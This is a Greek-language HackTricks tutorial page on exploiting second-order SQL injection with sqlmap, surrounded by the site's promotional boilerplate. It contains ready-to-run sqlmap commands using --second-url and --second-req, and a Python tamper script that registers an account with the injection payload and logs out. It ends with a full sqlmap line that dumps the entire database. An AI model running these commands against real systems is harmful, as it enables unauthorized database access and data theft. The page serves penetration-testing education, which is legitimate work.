7.6 KiB
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Το SQLMap μπορεί να εκμεταλλευτεί Second Order SQLis.
Πρέπει να παρέχετε:
- Το αίτημα όπου θα αποθηκευτεί το sqlinjection payload
- Το αίτημα όπου θα εκτελεστεί το payload
Το αίτημα όπου το SQL injection payload αποθηκεύεται υποδεικνύεται όπως σε οποιαδήποτε άλλη ενέργεια εισαγωγής στο sqlmap. Το αίτημα όπου το sqlmap μπορεί να διαβάσει την έξοδο/εκτέλεση της ενέργειας εισαγωγής μπορεί να υποδεικνυθεί με την παράμετρο --second-url
ή με την παράμετρο --second-req
εάν χρειάζεται να υποδείξετε ένα πλήρες αίτημα από ένα αρχείο.
Απλό παράδειγμα δεύτερης τάξης:
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
Σε πολλές περιπτώσεις αυτό δεν θα είναι αρκετό επειδή θα χρειαστεί να εκτελέσετε άλλες ενέργειες εκτός από την αποστολή του πληρωματικού φορτίου και την πρόσβαση σε μια διαφορετική σελίδα.
Όταν αυτό είναι απαραίτητο, μπορείτε να χρησιμοποιήσετε ένα sqlmap tamper. Για παράδειγμα, το παρακάτω σενάριο θα εγγράψει ένα νέο χρήστη χρησιμοποιώντας το πληρωματικό φορτίο του sqlmap ως ηλεκτρονική διεύθυνση και θα αποσυνδεθεί.
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
Ένας SQLMap tamper εκτελείται πάντα πριν από μια προσπάθεια εισαγωγής με ένα payload και πρέπει να επιστρέψει ένα payload. Σε αυτήν την περίπτωση δεν μας ενδιαφέρει το payload, αλλά ενδιαφερόμαστε να στείλουμε μερικά αιτήματα, οπότε το payload δεν αλλάζει.
Έτσι, αν για κάποιο λόγο χρειαζόμαστε ένα πιο πολύπλοκο ροή για να εκμεταλλευτούμε την SQL ενέργεια δεύτερης τάξης, όπως:
- Δημιουργία λογαριασμού με το SQLi payload μέσα στο πεδίο "email"
- Αποσύνδεση
- Σύνδεση με αυτόν τον λογαριασμό (login.txt)
- Αποστολή αιτήματος για εκτέλεση της SQL ενέργειας (second.txt)
Αυτή η γραμμή sqlmap θα βοηθήσει:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.